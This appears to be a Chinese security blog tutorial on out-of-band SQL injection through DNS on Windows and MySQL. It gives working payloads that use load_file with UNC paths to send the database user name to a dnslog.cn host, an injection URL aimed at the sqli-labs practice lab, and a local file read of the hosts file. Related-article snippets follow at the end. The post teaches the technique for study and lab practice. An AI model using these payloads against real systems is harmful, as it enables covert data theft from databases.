利用DNS实现SQL注入带外查询(OOB)

VSole2023-01-05 09:54:04

根据用于数据检索的传输信道,SQLi可分为三个独立的类别:inference(经典SQL注入),inband(盲注、推理注入、带内注入)和out-of-band

一、什么是OOB

out-of-band带外数据(OOB)与inband相反,它是一种通过其他传输方式来窃取数据的技术(例如利用DNS解析协议和电子邮件)。OOB技术通常需要易受攻击的实体生成出站TCP/UDP/ICMP请求,然后允许攻击者泄露数据。OOB攻击的成功基于出口防火墙规则,即是否允许来自易受攻击的系统和外围防火墙的出站请求。而从域名服务器(DNS)中提取数据,则被认为是最隐蔽有效的方法。

二、利用原理

1、常规SQL注入,获取服务器信息的方式

2、SQL注入利用DNS获取查询结果(OOB)

我们需要一个三级域名服务器(nameserver)也是DNS服务器(DNS Server),也就是下图的schloar服务器。

还需要配置域名“www.scholar.com”对应的解析IP地址为“schloar服务器”的IP地址。

这样就能够实时地监控域名查询请求了,图示如下:

三、利用条件

需要windows环境

1、DBMS中需要有可用的,能直接或间接引发DNS解析过程的子程序,即使用到UNC

2、Linux没有UNC路径,所以当处于Linux环境,不能使用该方式获取数据

四、环境搭建

1、Windwos操作系统

2、Mysql数据库服务

3、互联网上有已经准备好的域名服务器和DNS服务器环境

DNSLog.cn

CEYE

五、OOB复现

1、首先打开DNSLog.cn网站

2、打开windows客户端DOS

ping q5i9by.dnslog.cn


结果如下图:

3、进入Windows客户端Mysql服务

Go

select load_file("////xxx.q5i9by.dnslog.cn//x.txt");
select load_file(concat("\\\\",user(),".q5i9by.dnslog.cn//aa.txt"));

注:

1、\\转义后即为\

2、concat将(1,2,3)拼接在一起形成123

六、利用SQL注入漏洞外带查询

直接上payload

Go

http://127.0.0.1/PTE/sqli-labs/Less-1/?id=1' and load_file(concat("\\\\",user(),".gq95nz.dnslog.cn\\xxx.txt"))--

七、OOB引申的扩展知识

1、Mysql内置函数load_file()不仅能对\www.test.com这样的URL发起请求,还能够加载本地文件,如下:

Go

select load_file("C:\\WINDOWS\\system32\\drivers\\etc\\hosts");

show variables like '%secure%';查看load_file()可以读取的磁盘。

(1)当secure_file_priv为空,就可以读取磁盘的目录。

(2)当secure_file_priv为G:\,就可以读取G盘的文件。

(3)当secure_file_priv为null,load_file就不能加载文件。

通过设置my.ini来配置。secure_file_priv=""就是可以load_flie任意磁盘的文件。

2、不同DBMS中使用的方法,参考如下链接

https://blog.csdn.net/u014029795/article/details/105214129

3、UNC定义

UNC是一种命名惯例, 主要用于在Microsoft Windows上指定和映射网络驱动器.。UNC命名惯例最多被应用于在局域网中访问文件服务器或者打印机。我们日常常用的网络共享文件就是这个方式。UNC路径就是类似\softer这样的形式的网络路径

格式:\servername\sharename ,其中 servername 是服务器名,sharename 是共享资源的名称。

目录或文件的 UNC 名称可以包括共享名称下的目录路径,格式为:\servername\sharename\directory\filename

参考链接

https://blog.csdn.net/u014029795/article/details/105214129

https://www.freebuf.com/articles/web/201013.html

https://www.cnblogs.com/-qing-/p/10623583.html

dnssql注入
本作品采用《CC 协议》,转载必须注明作者和本文链接
OOB技术通常需要易受攻击的实体生成出站TCP/UDP/ICMP请求,然后允许攻击者泄露数据。OOB攻击的成功基于出口防火墙规则,即是否允许来自易受攻击的系统和外围防火墙的出站请求。而从域名服务器中提取数据,则被认为是最隐蔽有效的方法。
本文主要讲述Dnslog这种攻击手法在SQL注入中的实战运用,虽然网上对于Dnslog在SQL注入方面运用的文章也不少。但是很多文章都只是片面的提到了这个攻击方式,或者只是用某个简单的payload做了简单的验证。然而在实际的运用中,因为环境的差异,利用也不同。本文详细的记录了在多种常见数据库实际运用过程的一些细节,包括POC的编写和原理,和一些网上没有公开的利用POC。
如果流量都没有经过WAF,WAF当然无法拦截攻击请求。当前多数云WAF架构,例如百度云加速、阿里云盾等,通过更改DNS解析,把流量引入WAF集群,流量经过检测后转发请求到源站。如图,dict.com接入接入WAF后,dict.com的DNS解析结果指向WAF集群,用户的请求将发送给WAF集群,WAF集群经过检测认为非攻击请求再转发给源站。
一个经过完整而优秀开发的应用一般来说你是看不到错误提示的,所以你是没办法从Union攻击和错误中提取出数据的 一般盲注,你不能在页面中看到响应,但是你依然能同个HTTP状态码得知查询的结果 完全盲注,你无论怎么输入都完全看不到任何变化。你只能通过日志或者其它什么的来注入。虽然不怎么常见。
概述在学习SQL注入之前,我们应先了解什么是SQL?原理SQL注入就是当开发人员对用户输入数据的合法性没有判断或过滤不严时,攻击者通过拼接恶意SQL语句诱使解释器在未经适当授权的情况下执行意外命令或访问数据。
声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部
数据库注入提权总结
2022-08-10 15:52:54
首先,不能直接将该函数注入子查询中,因为 Oracle 不支持堆叠查询 。其次,只有数据库管理员才能使用 DBMS_LOCK 包。在 Oracle PL/SQL 中有一种更好的办法,可以使用下面的指令以内联方式注入延迟:dbms_pipe.receive_messageDBMS_PIPE.RECEIVE_MESSAGE() 函数将为从 RDS 管道返回的数据等待 10 秒。
Oracle Database,又名Oracle RDBMS,或简称Oracle。是甲骨文公司的一款关系数据库管理系统。它是在数据库领域一直处于领先地位的产品。可以说Oracle数据库系统是世界上流行的关系数据库管理系统,系统可移植性好、使用方便、功能强,适用于各类大、中、小微机环境。它是一种高效率的、可靠性好的、适应高吞吐量的数据库方案。
Oracle数据库的基本知识Oracle数据库介绍Oracle Database,又名Oracle RDBMS,或简称Oracle。
VSole
网络安全专家